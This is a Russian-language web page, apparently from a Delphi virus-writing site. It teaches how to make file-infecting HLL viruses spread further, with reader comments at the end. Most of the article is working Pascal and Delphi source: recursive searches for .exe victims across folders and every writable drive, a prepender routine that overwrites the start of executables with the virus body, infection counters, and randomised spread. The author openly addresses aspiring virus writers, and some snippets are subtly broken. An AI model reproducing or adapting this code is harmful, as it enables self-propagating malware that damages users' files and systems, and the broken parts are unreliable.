Аспекты выживаемости HLL вирусов - Вирусология - Delphi - Каталог статей - Вирусология, взгляд из Delphi
Понедельник, 05.12.2016, 21:35 Приветствую вас Гость | Группа "Гости" 


Меню сайта

Категории раздела
Вирусология [39]
Статьи о вирусах
Системные [0]
Работа с системой
Примеры [44]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Приколы [5]
Пишем шуточные програмки
Остальное [5]
Всё что не вошло

Администрация
000000 dolphin

Помощь проекту

R106276538945
Z160640024212

Яндекс деньги
410011190732605

Недавние темы

Опрос
Посещаете ли Вы порносайты?
Всего ответов: 182

Главная » Статьи » Delphi » Вирусология

Аспекты выживаемости HLL вирусов
Живучесть вируса – это совокупность свойств и качеств вирусной программы, определяющие её возможность с заданной вероятностью, противостоять факторам, способным нарушить её рабочий цикл. 
. Позволю себе ввести несколько определений, которые именно с этими значениями будут использоваться в статье этой и дальнейших.
. Рабочий цикл вируса – это совокупность действий, выполняемых вирусом в рамках заложенного в него алгоритма.
. Область применения вируса – это система или совокупность нескольких систем, имеющие единую или различные операционную и файловую системы и комплект программного обеспечению, которое может так же относиться к мешающим факторам, в которой вирус осуществляет свой рабочий цикл. 
. Мешающие факторы –это факторы мешающие выполнению рабочего цикла, к ним могут относиться, как несовместимость операционной или файловой системы, противодействие антивирусных программ, действия пользователя и много другое.
Живучесть я обычно выражаю безразмерной величиной, принимающей значение от 0 до 1, т.е это две крайности. Живучесть равна нулю, в случае если вирус в рамках условий применения, а это конкретная система или несколько систем, не способен выполнять не одного действия из своего рабочего цикла. Живучесть равна одному, если вирус находящийся в тех же условиях, что и выше рассмотренный способен полностью выполнять все действия из своего рабочего цикла. А где же середина? А вот она. Если вирус в рамках своей области применения способен выполнять свой рабочий цикл, при этом совершая часть действий, а часть действий заблокированы различными мешающими факторами, то его живучесть меньше 1 но больше 0. И это основная категория вирусов… 
. Как, я думаю, вы уже поняли, живучесть вируса не очень то и сильный параметр, т.к. она зависит от области применения и мешающих факторов, т.е. в определённых условиях один и тот же вирус может иметь в одних областях применения и под действием одних мешающих факторов, величину живучести равную 1, а в других 0. В целом это не так страшно, так как сам факт существования непобедимого вируса и всеобъемлящего антивируса невозможен и это научно доказанный факт. Наша цель, в данном уроке разобраться с параметрами рабочего цикла вируса, которые однозначно повышают живучесть вируса.
. Рассмотрим следующие параметры:
- Область сканирования
- Скорость распространения
- Распределение заражения
. На сколько, мне кажется, все вышеперечисленные моменты, совершенно непосредственно, влияют на параметр живучести вируса, и сейчас мы с каждым из них разберёмся. Сразу хочу сказать, что этот список далеко не полон и его можно значительно, расширять, что мы будем делать на следующих уроках. Именно эти параметры я решил рассмотреть в рамках приведения понятий о живучести, т.к. они наиболее наглядны и часто применяемы. Теперь переходим к описанию каждого понятия, их разбора и рассмотрения на исходниках. Исходники, как всегда, будут трёх типов, но к этому внимательные читатели, я думаю, уже привыкли.
. Область сканирования - этот параметр очень важен и его рассмотрение наиболее необходимо, в чем же его суть? Если вы заметили, то все вирусы, которые мы писали, размножались только в рамках своей папки, не включая даже вложенных в неё папок – этот незатейливый способ поиска жертв (сканирования) я отношу к первому уровню сканирования, а всего я их могу выделить 4, хотя, конечно всё это лишь мои суждения и с вашими они могут расходиться, вот эти уровни:
Первый – заражение файлов в своей папке без вложенностей
Второй – заражение файлов в своей папке, включая вложенные папки, начиная со своей папки.
Третий – заражение текущего локального диска, включая все вложенности, начиная с корневого каталога диска.
Четвертый – заражение всех доступных для записи локальных дисков компьютера, включая все вложенности, начиная с корневого каталога.
. Я думаю, что каждый уже понял, что самый капитальный способ себя преподнести для вируса – это четвертый уровень сканирования. Если бы мне было по фигу на процесс обучения, я бы дал только его, но я считаю, себя товарищем ответственным за будущее поколение вирусописателей и поэтому пробелов в образовании не допущу, и рассмотрены будут все уровни сканирования. Рассмотрение уровней будет на примере поиска файлов для HLLP вирусов, поэтому не удивляетесь, тому что увидите в исходниках уже наболевшую функцию проверки зараженности (CheckInfect) и процедуру заражения (Infect) и запуска жертв (InRun). 
. Первый уровень сканирования – этот забавно-тупой уровень, обычно применяется только в тестовых вирусах и особого распространения вири с таким уровнем, не имеют. Этот уровень сканирования мы неоднократно реализовывали во всех наших вирусах, которые были до этой статьи и вот сейчас мы его ещё раз рассмотрим.
Реализация на Pascal:
Procedure FindFile;//Процедура поиска файлов в этом уровне без параметров
var
  sr:searchrec;{поисковая переменная}
begin
  findfirst('*.exe',$39,sr);{поиск ехе с любыми атрибутами}
  while doserror=0 do{поиск до появления ошибки}
  begin
  if CheckInfect(sr.name){Если файл не заражён то…}
  then Infect(sr.name);{Заражаем}
  findnext(sr);{Ищем следующий}
  end;
  InRun;{Запуск жертвы }
End;
Begin
FindFile;//Вызов поиска
End.

Реализация на Delphi:
Procedure FindFile;//Процедура поиска файлов в этом уровне без параметров
var
  FR : INTEGER;
  sr:tsearchrec;{Поисковые переменные}
begin
//Основная часть
  DeleteFile(TmpName);//На всякий случай удаляем временный файл
  FR:=FindFirst('*.exe',faAnyFile-faDirectory,SR);{ищем файлы с любым именем, атрибутом и расширением}
  while FR=0 do {Повторяем до появления ошибки, в нашем случае - больше нет файлов}
  begin
  if CheckInfect(SR.Name) then//Если жертва не заражена то..
  infect(SR.Name);//Заражаем жертву
  FR:=findnext(SR);{ищем следующий}
  end;
  InRun;{по окончанию поиска, запускаем жертву, если она есть}
End;
Begin
FindFile;//Вызов поиска
End.


Реализация на microDelphi:
Procedure FindFile;//Процедура поиска файлов в этом уровне без параметров
var
  FR : INTEGER;
  sr:tsearchrec;{Поисковые переменные}
begin
//Основная часть
  DeleteFile(TmpName);//На всякий случай удаляем временный файл
  FR:=FindFirst('*.exe',faAnyFile-faDirectory,SR);{ищем файлы с любым именем, атрибутом и расширением}
  while FR=0 do {Повторяем до появления ошибки, в нашем случае - больше нет файлов}
  begin
  if CheckInfect(SR.Name) then//Если жертва не заражена то..
  infect(SR.Name);//Заражаем жертву
  FR:=findnext(SR);{ищем следующий}
  end;
  InRun;{по окончанию поиска, запускаем жертву, если она есть}
End;
Begin
FindFile;//Вызов поиска
End.


. Второй уровень сканирования – этот способ поиска жертв, так же не имеет полных шансов на распространение и чаще всего так же юзается тестовыми вирями, но в принципе, если запустить вирус из корня С:\, то последствия могут быть весьма глобальными, но это скорей дело случая нежели закономерность. Переходим к рассмотрению метода.
Реализация на Pascal:
procedure FindFile(dir:pathstr);{Каталог поиска}
var
  sr : searchrec;
begin
  findfirst(dir+'*.exe',39,sr);{Ищем первый файл}
  while doserror=0 do{Выполнять поиск до появления ошибки}
  begin
  if CheckInfect(dir+sr.name) then{Если файл не заражен то..}
  Infect(dir+sr.name);{Заражаем}
  findnext(sr);{Ищем следующий}
  end;
  findfirst(dir+'*.',55,sr);{После того как в папке найдены все файлы ищем первую папку в текущей папке}
  while doserror=0 do{Выполняем до появления ошибки}
  begin
  with sr do
  if (attr and directory<>0){если атрибут файла - directory } 
  and (name[1]<>'.'){Первый символ имени точка} 
  and (length(dir)<63){и длина строки к папке не более 63 символов}
  then FindFile(dir+name+'\');{Вызываем поиск в найденной папке - рекурсия}
  findnext(sr);{ищем следующий}
  end;
end;
var
  d : dirstr;
  n : namestr;
  e : extstr;
  f : file;
begin
  fsplit(paramstr(0),d,n,e);{раскладываем путь к себе на путь к папке, имя файла и расширение}
  FindFile(d);{Ищем в своей папке}
  InRun;{запускаем жертву}
end.


Реализация на Delphi:
procedure FindFile(Dir:String);//Процедура поиска, передаётся путь к каталогу
var
  SR : TSearchRec;
  FR : Integer;
  Ln : integer;
begin
FR:=FindFirst(Dir+'*.*',faAnyFile,SR);//Поиск первого
while FR=0 do
  begin
  Randomize;
  if ((SR.Attr and faDirectory)=faDirectory) and//Если папка
  ((SR.Name='.')or(SR.Name='..')) then//Если первый или второй символ равен точке
  begin
  FR:=FindNext(SR);//Ищем следующий
  Continue;//Продолжаем
  end;
  if ((SR.Attr and faDirectory)=faDirectory) then//Если папка
  begin
  FindFile(Dir+SR.Name+'\');//Вызываем поиск в найденой папке
  FR:=FindNext(SR);//Ищем следующий
  Continue;//Продолжаем
  end;
  Ln:=Length(SR.Name);
  if CeckInfect(Dir+SR.Name)//если не заражено
  and ((Sr.Name[Ln]='e') or (Sr.Name[Ln]='E'))
  and ((Sr.Name[Ln-1]='x') or (Sr.Name[Ln-1]='X'))
  and ((Sr.Name[Ln-2]='e') or (Sr.Name[Ln-2]='E')) then//Если расширение *.exe
  Infect(Dir+SR.Name);//Заражаем
  FR:=FindNext(SR);//Ищем следующий
  end;
SysUtils.FindClose(SR);//Очищаем сессию поиска 
end;
begin
FindFile(ExtractFilePath(Paramstr(0)));//Вызываем поиск в своей папке
InRun;//Запускаем жертву
end.


Реализация на microDelphi: 
procedure FindFile(Path:PChar);
var
  Buf : PathBuf;
  H : THandle;
  R : FindRec;
  I : integer;
  B : boolean;
begin
  lstrCpy(Buf, #0);//Чистка и инициализация переменной
  LStrCat(Buf,Path);//Прибавляем к переменной Path
  LStrCat(Buf,#42#46#42);//Прибавляем маску *.*
  H:=FindFirstFile(Buf,R);
  //Ищем все файлы в заданном каталоге с заданной маской
  while H<>0 do
  //Ищем пока все не найдём
  begin
  if ((R.dwFileAttributes
  and ATTR_DIR)=ATTR_DIR)
  //Если атрибут найденого файла директория
  and ((R.cFileName[0]=#46)//И 0-вой символ точка
  or (R.cFileName[1]=#46)) then //или 1-й символ точка то..
  begin
  if not FindNextFile(H,R) then break;
  //Если всё найдено выход из цикла
  Continue;//Продолжаем поиск
  end;
  if ((R.dwFileAttributes
  and ATTR_DIR)=ATTR_DIR) then //Если атрибут директория то..
  begin
  LstrCpy(Buf,#0);//Чистка и инициализация переменной
  LStrCat(Buf,Path);//Прибавляем к переменной Path
  LStrCat(Buf,R.cFileName);//Прибавляем имя найденой папки
  LStrCat(Buf,#92);//Прибавляем символ \
  FindFile(Buf);//Ищем в этой папке (вход во вложенность)
  if not FindNextFile(H,R) then break;
  //Если всё найдено выход из цикла
  Continue;//Продолжаем поиск
  end;
  i:=0;
  while true do
  if R.cFileName[i]=#0
  then break
  else inc(i);
  //Определяем длину стоки
  LstrCpy(Buf,#0);//Чистка и инициализация переменной
  LStrCat(Buf,R.cFileName);//Прибавляем к переменной имя файла
  if ((Buf[i-3]=#101) //если 3-й с конца символ строки e
  or (Buf[i-3]=#69)) //или если 3-й с конца символ строки E
  and ((Buf[i-2]=#120) //и если 2-й с конца символ строки x
  or (Buf[i-2]=#88)) //или если 2-й с конца символ строки X
  and ((Buf[i-1]=#101) //и если 1-й с конца символ строки e
  or (Buf[i-1]=#69)) then//или если 1-й с конца символ строки E то..
  begin
  LstrCpy(Buf,#0);//Чистка и инициализация переменной
  LStrCat(Buf,Path);//Прибавляем к переменной Path
  LStrCat(Buf,R.cFileName);//Прибавляем имя найденого файла
  if CheckInfect(Buf) then Infect(Buf);//Если не заражен то заражаем
  end;
  if not FindNextFile(H,R) then break;
  //Если всё найдено выход из цикла
  end;
  FindClose(H);//Очищаем память сессии поиска
end;
var
  F : PathBuf;
  I1,i2,i3 : integer;  
begin
GetModuleFileName(0,F,MAX_PATH);//Путь к себе
  i2:=lstrlen(F);//Длина строки пути к себе
  for i1:=i2 downto 0 do
  if F[i1]=#92 then break;//Ищем первый с конца слешь "\" 
  for i3:=i1 to i2 to F[i3]:=#0;//затираем имя файла в пути к себе – получается путь к папке  
FindFile(F);//вызываем поиск в своей папке
InRun;//Запускаем жертву
End.


. Как видите, уважаемые господа вирусописатели, процедура поиска стала полноценной процедурой с параметром, и теперь она сканирует не только текущий каталог, но и все вложенные подкаталоги. Это уже уровень. Теперь переходим к третьему уровню.
. Третий уровень сканирования – осуществляет поиск на текущем локальном диске, начиная с корневого каталога. Для этого и следующего уровня процедура поиска файлов останется такой же как и во втором уровне, поэтому я не буду её второй раз приводить, а приведу лишь способ её вызова.
Реализация на Pascal:
var
  St,p0 : string;
Begin
  p0:= Paramstr(0);
  St:= p0[1]+ p0(0)[2]+ p0(0)[3];
  FindFile(St);
  InRun;
End.

Реализация на Delphi:
var
  St,p0 : string;
Begin
  p0:= Paramstr(0);
  St:= p0[1]+ p0(0)[2]+ p0(0)[3];
  FindFile(St);
  InRun;
End.

Реализация на microDelphi: 
var
  F : PathBuf;
  I1,i2 : integer;  
begin
GetModuleFileName(0,F,MAX_PATH);//Путь к себе
  i2:=lstrlen(F);//Длина строки пути к себе 
  for i1:=3 to i2 to F[i1]:=#0;//затираем всё кроме пути к корню диска  
FindFile(F);//вызываем поиск в своей папке
InRun;//Запускаем жертву
End.


. Как идите, ни чего особенно сложного и особой разницы с вторым уровнем сканирования нет. Переходим к четвёртому и самому интересному уровню.
. Четвертый уровень сканирования – сканирование всех доступных для записи дисков. Это уже предел мечтаний любого уважающего себя зверя. Процедура поиска файлов, как я и говорил, осталась той же, но добавилась ещё одна процедура – Disks – это замечательная процедура ищет диски, на которые можно писать и которые соответственно существуют на компе и вызывает поиск 3 уровня (из корневого каталога) на этих дисках, т.о. в основной части мы вызываем процедуру Disks, а не FindFile. Как это реализовать смотрим ниже. Смотрим и запоминаем – это очень полезные исходники, если вы питаете надежды, не смотря на мои просьбы не гадить, написать свой боевой вирус.
Реализация на Pascal:
Procedure Disks;
var
  i : integer;
  s : string;
  f : file;
begin
  s:='';{Очищаем переменную}
  for i:=1 to 24 do{повторяем 24 раза (от С до Z)}
  begin
  Assign(f,chr(ord(i)+66)+':\'+#$FF);{Ассоциируем переменную f с путем к файлу}
  {$I-}rewrite(f); erase(f);{$I+} {Пытаемся создать файл и тут же его удалить} 
  if ioresult=0 then s:=s+chr(ord(i)+66);{Если это не вызвало ошибки ввода/вывода
  добавляем букву этого диска к переменной S}
  end;
  for i:=1 to length(s) do Find(s[i]+':\');
  {Поочередно выполняем поиск на каждом из найденных дисков}
end;
begin
Disks;{Вызываем поиск дисков}
InRun;{Запускам жертву}
end.


Реализация на Delphi:
Procedure Disks;
var
  i : integer;
ii : integer;
st : string;
begin
st:=''; 
  for i:=67 to 90 do //Считаем от 67 до 90 - это значения ASCII кодов символов от C до Z
  begin
  ii:=GetDriveType(PChar(chr(ord(i))+':\'));//Определяем тип диска
  if (ii<>0)//Если не диск без корневого каталога
  and (ii<>2)//не CD-rom
  and (ii<>5)//Не флешка или флоппи
  and (ii<>1)//Не неизвестный диск
  then FindFile(chr(ord(i))+':\');//То вызываем поиск из корневого каталога этого диска
  end;
end;
begin
Disks;//Поиск дисков
InRun;//Запуск жертвы
end.


Реализация на microDelphi: 
Procedure Disks;
var
  i1 : integer;
  i2 : integer;
  i3 : integer;
  i4 : integer;
  Buf : array [0..95] of char;
begin
GetLogicalDriveStrings(96,Buf);
//Получаем строку дисков
for i1:=0 to 25 do
if Buf[i1*4+2]<>#92 then break;
//Получаем количество дисков
if Buf[0]=#65 then i4:=1 else i4:=0;
//Если первый локал - A то смотрим начиная со второго
for i2:=i4 to i1-1 do //Перебор дисков
  begin
  i3:=GetDriveType(@Buf[i2*4]);//Определяем тип диска
  if (i3<>0)//Если не диск с неопределённым типом
  and (i3<>1)//и не диск с отсутствующим корневым каталогом
  and (i3<>5)//и не CD-ROM то..
  then FindFile(@Buf[i2*4]);//Поиск на этом диске
  end;
end;
begin
Disks;
InRun;
end.


Ну что, поздравляю – это большой и решительный шаг в сторону повышения живучести вируса, но у всего этого есть один минус, о котором мы поговорим ниже и так же поговорим о том как устранить последствия этого минуса. Двигаемся дальше.


. Скорость распространения – этот параметр двоякий и держится он на двух обратнопропорционально зависимых параметров:
- Количество заражений за один запуск
- Время запуска жертвы
. Совершенно очевидно, что в наших примерах, за один единственный запуск, охватывается весь спектр возможного заражения, т.е. заражается все, что находится в области сканирования. Это с одной стороны хорошо, т.к. после одного запуска все, что можно, будет заражено, а с другой стороны – это плохо, т.к. жертва не будет запущена, до тех пор, пока вирус не заразит весь комп. Т.о. юзер успеет абалдеть и удалить всю систему из-за её тупой работы, за долго до того как успеет кого-то из друзей заразить, и вирус умрет на этом компе не уйдя дальше – а это уже ни есть хорошо и попахивает низкой живучестью!! Т.о. для нормальной работы вируса, нам необходимо за один запуск заражать только определённое количество жертв. Причем количество жертв необходимо вычислять экспериментально и на своё усмотрение. Если выбрать малое количество, например 1 файл, то скорость распространения будет не высокой и это то-же снижает возможность заразить именно тот файл который пользователь даст своему другу или запишет на съемный носитель, до того как задолбаная система будет убита. В общем мы пришли к тому что нам надо организовать счетчик жертв. Как мы это реализуем? В общем-то вариантов много, но я считаю, наиболее выгодно считать жертвы в процедуре заражения, и при достижении необходимого количества жертв необходимо выполнить InRun, но процедуру InRun из основной части убирать нельзя, так как тот вызов нам пригодится в том случае, если заражены все возможные файлы, но не вышло найти нужного количества.. В общем для того что бы показать реализацию этой фишки привожу исходники:
Реализация на Pascal
const
  VirSize=3072;{Размер вируса}
  VictimCount = 13;{Константа определяющая количество жертв за один запуск}
var
  Victim : integer;{Глобальная переменная для счета жертв}

Procedure Infect(path : string);{Передаём процедуре путь к жертве}
var
  F1,F2 : file;{Фйловые переменные}
  NR : Word;
  BufVir : array[1..VirSize] of Char;{Буфер переноса фрагмента жертвы и тела вируса}
begin
  Assign(F1, path);{Ассоциируем переменную F1 с путём к жертве}
  Reset(F1, 1);{Открываем жертву}
  BlockRead(F1, BufVir, VirSize, NR);{Читаем VirSize байт жертвы в начале}
  seek(F1,FileSize(F1));{Переходим в конец жертвы}
  BlockWrite(F1, BufVir, NR);{Пишем буфер – жертва стала больше на VirSize}
  Assign(F2, ParamStr(0));{Ассоциируем F2 с путём к себе}
  Reset(F2, 1);{Открываем себя}
  BlockRead(F2, BufVir, VirSize, NR);{Читаем себя в буфер}
  seek(F1,0);{Переходим в начало жертвы}
  BlockWrite(F1, BufVir, NR);{Пишем себя с перезаписью в начало}
  Close(F1);{Закрываем жертву}
  Close(F2);{Закрываем себя}
  Inc(Victim);{Увеличение счётчика заражённых}
  if Victim=VictimCount then InRun;
  {Если достигнуто нужное количество заражённых файлов..}
  {делаем запуск жертвы из которой запущены}
end;


Реализация на Delphi
const
  VictimCount=13;//Константа определяющая количество жертв за один запуск
var
  Victim : integer;//Глобальная переменная для счета жертв
Procedure Infect(path : string);// Передаём процедуре путь к жертве
var
  F1,F2 : file;//Фйловые переменные
  NR : Word;
  BufVir : array[1..VirSize] of Char;//Буфер переноса фрагмента жертвы и тела вируса
begin
  Assign(F1, path);//Ассоциируем переменную F1 с путём к жертве
  Reset(F1, 1);//Открываем жертву
  BlockRead(F1, BufVir, VirSize, NR);//Читаем VirSize байт жертвы в начале
  seek(F1,FileSize(F1));//Переходим в конец жертвы
  BlockWrite(F1, BufVir, NR);//Пишем буфер – жертва стала больше на VirSize
  Assign(F2, ParamStr(0));//Ассоциируем F2 с путём к себе
  Reset(F2, 1);//Открываем себя
  BlockRead(F2, BufVir, VirSize, NR);//Читаем себя в буфер
  seek(F1,0);//Переходим в начало жертвы
  BlockWrite(F1, BufVir, NR);//Пишем себя с перезаписью в начало
  Close(F1);//Закрываем жертву
  Close(F2);//Закрываем себя
  Inc(Victim);//Увеличение счётчика заражённых
  if Victim=VictimCount then InRun;
  //Если достигнуто нужное количество заражённых файлов..
  //делаем запуск жертвы из которой запущены
end;


Реализация на microDelphi
const
  VictimCount=13;//Константа определяющая количество жертв за один запуск
var
  Victim : integer;//Глобальная переменная для счета жертв
Procedure Infect(Path:PChar);
var
  pch : PathBuf;
begin
  GetModuleFileName(0, pch, Max_Path);
  //Путь к файлу
  if CopyData(path,path,0,0,FILE_BEGIN,FILE_END,VirSize,true)
  //Если копирование фрагмента из начала прошло успешно
  and CopyData(pch,path,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,false) then
  //и копирование себя в начало с перезаписью прошло успешно то..
  Inc(Victim);//Увеличение счётчика заражённых
  if Victim=VictimCount then InRun;
  //Если достигнуто нужное количество заражённых файлов..
  //делаем запуск жертвы из которой запущены
end;


. Как видите, всё совершенно просто и идентично для любого исполнения, но, я все, же привел полные исходники процедур заражения, что бы, не возникало сомнений, по поводу простоты. В целом, как мне кажется, значение количества жертв за один запуск необходимо устанавливать в пределах от 5 до 20. Больше и меньше как, показала практика – нецелесообразно из выше рассмотренных причин.


. Распределение заражения – этот параметр, так же, очень важно, рассматривать при проектировании, по настоящему, профессионального файлового вируса, он характеризует вероятность заражения уже найденной жертвы. Т.о. рассредоточивается зона поражения, создавая, тем самым, достаточно непредсказуемую картину распределения заражения. Для реализации принципов распределённого заражения, необходимо использовать следующие приёмы:
- Передача параметра Infect с заданной степенью вероятности
- Случайный выбор заражаемого диска
- Сохранение места последнего заражения.
Теперь остановимся на каждом из методов отдельно.
. Передача параметра Infect с заданной степенью вероятности – этот приём реализуется примерно следующим образом. В процедуре поиска файлов имеется вызов процедуры Infect, примерно так это выглядит:
Pascal:
if (Pos(sr.name,Paramstr(0))=0)
and CheckInfect(sr.name)
then Infect(sr.name);


Delphi:
if CheckInfect(SR.Name) then//Если жертва не заражена то..
infect(SR.Name);//Заражаем жертву


microDelphi
if ((R.cFileName[0]<>'.') or (R.cFileName[1]<>'.'))//Если не папка
and CheckInfect(R.cFileName) then//и если не заражено то..
infect(R.cFileName);//заражаем


Для реализации рассматриваемого приёма, нам необходимо сделать так:
Pascal:
r:=Random(10);
if (Pos(sr.name,Paramstr(0))=0)
and CheckInfect(sr.name) and (r=0)
then Infect(sr.name);


Delphi:
r:=Random(10);
if CheckInfect(SR.Name) and (r=0) then//Если жертва не заражена то..
infect(SR.Name);//Заражаем жертву


microDelphi
r:=RandInt(10);
if ((R.cFileName[0]<>'.') or (R.cFileName[1]<>'.'))//Если не папка
and CheckInfect(R.cFileName) then//и если не заражено то..
infect(R.cFileName);//заражаем



Как видите все просто.. Переменная r – типа integer, если вы не обратили внимание, то в реализации в microDelphi мы используем функцию RandInt – это наш самодельный аналог Random. Дело в том что в microDelphi использование Random-а вызывает ошибку и поэтому нужен свой.. Ниже я приведу мою реализацию функции RandInt, её вы можете спокойно использовать как обычный Random, а можете написать свою.
Функция Random для microDelphi:
function RandInt(rCount:integer):integer;
//Процедура аналог Random - только для Integer;
function rdtsc:Integer; asm rdtsc end;
//Вычисляем количество тактов проца с момента включения компа
begin
result:=rdtsc mod rCount;//Вычисляем остаток от деления
if result<0 then Result:=Result-2*Result;
//Если результат отрицательный - избавляемся от нуля
End;

Как видите, в погоне за размером приходится немного извращаться.. Этим подобием Random, я буду оперировать и дальше в исходниках на microDelphi.

Теперь рассмотрим - Случайный выбор заражаемого диска – этот приём дает определённый плюс – дело в том что у большинства людей система стоит на С а всякие полезняшки-инсталяшки хранятся например на D или E, на случай, если придётся систему сносить. Так вот о чем я.. Дело в том что, некоторые особо дотошные юзеры при появлении проблемы в системе сразу кидаются удалять винду и т.д., при такой сцикливом, раскладе вирус просто не успевает добраться до диска D и т.д., как его гасят, в топке форматирования. В общем для того что бы дать вирю больше шансов необходимо делать так:
- Находим все диски 
- Выбираем случайный и на нем заражаем.
- Если на этом диске который выбран случайно не чего заражать переходим к первому по списку и делаем всё как раньше..

Реализовать это сможет я думаю, любой заинтересованный и это несколько выходит за рамки статьи, поэтому надеюсь, что по описанию, вы всё поняли и реализуете сами.. 


. Статья, как всегда, затянулась просто ужас как.. Надеюсь что это кто-то читает… переходим к описанию последнего метода случайного распределения - - Сохранение места последнего заражения. В чём тут суть? Да все очень просто и вполне обосновано. При поиске жертв вирус тратит, достаточно много времени, а это в целом не очень хорошо и чем дальше вирус углубляется в диски, тем дольше он проходит путь к новым жертвам, а так же происходит сосредоточение поражения в самом начале зоны поражения. Что бы этого из бежать, необходимо в конце каждого цикла поиска файлов, где-то в системе, сохранять путь к папке последнего посещения, а при каждом запуске проверять этот файл и начинать сканирование именно с этой папки. В этом случае, поиск каждый раз будет происходить, как бы продолжая, предыдущий цикл. Это очень удобно, но как всегда и в этом методе есть минус – как только вирус дойдет до конца всех дисков (зоны заражения), заражения окончатся. Т.о. для избегания этого печального явления необходимо в случайном порядке (например каждый сотый раз, Random естествнно) удалять файл с сохранением пути к папке. После этого поиск начнётся опять с самого начала дисков. Этот метод даёт возможность быстро и почти незаметно поразить весь комп, за несколько полных проходов. Значения периодичности случаеного удаления, напрямую зависят от количества заражений за один запуск и общего количества жертв на компе, а это значеие обычно равно от 500 до 3000 ехе-шников, так что выбирать оптимальные значения придется вам самим, как и реализовывать сам принцип. 

. В принципе в примерах боевых вирусов, которые будут в дальнейших статьях, все аспекты повышения живучести вирусов, будут применены. В дальнейших статьях мы ещё не раз вернёмся к теме, начатой в этом уроке. Так же в следующих уроках вы сможете узнать ещё очень и очень много того, что позволит вам создать по настоящему серьёзных зверей, от которых на душе просыпаются приятные нотки гордости!! Удачи вам…

Категория: Вирусология | Добавил: dolphin (06.05.2009)
Просмотров: 1459 | Комментарии: 8 | Рейтинг: 5.0/3

Всего комментариев: 7
avatar
1
Вот как искать диски я понял, а как записать на найденную флешку файл не могу понять, подскажи пож-та если знаешь....
avatar
2
З.Ы. На Делфи
avatar
3
нашел много полезного
avatar
4
Привет.занимательные статейки!я вот о чем подумал,а если организовать поиск жертв в потоке,одновременно будет работать файл юзера и проходить незаметно поиск дичи.тогда можно VictimCount сделать напрмер = 100??? какие мысли будут?или я апшыбаюсь?
avatar
5
Дело в том что именно этот пример записывается в начало бинарника, поэтому одновременно работать врядли будет
avatar
0
6
Скажите, пожалуйста, после выполнения процедуры infect жертва сохраняет свою работоспособность?
avatar
0
7
Безусловно!
avatar
Профиль


Логин:
Пароль:

Поиск

Наша кнопка

Вирусология, взгляд из Delphi



Статистика
HSDN :: Рейтинг сайтов WOlist.ru - каталог качественных сайтов Рунета Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 364
Форум: 1128/7979
Коментариев: 759
Новостей: 27

Статистика пользователей
Всего: 409
За неделю: 2
Вчера: 0
Сегодня: 0
Всего онлайн: 3
Гостей: 3
Пользователей: 0

delfcode.ru © 2008 - 2016 Хостинг от uCoz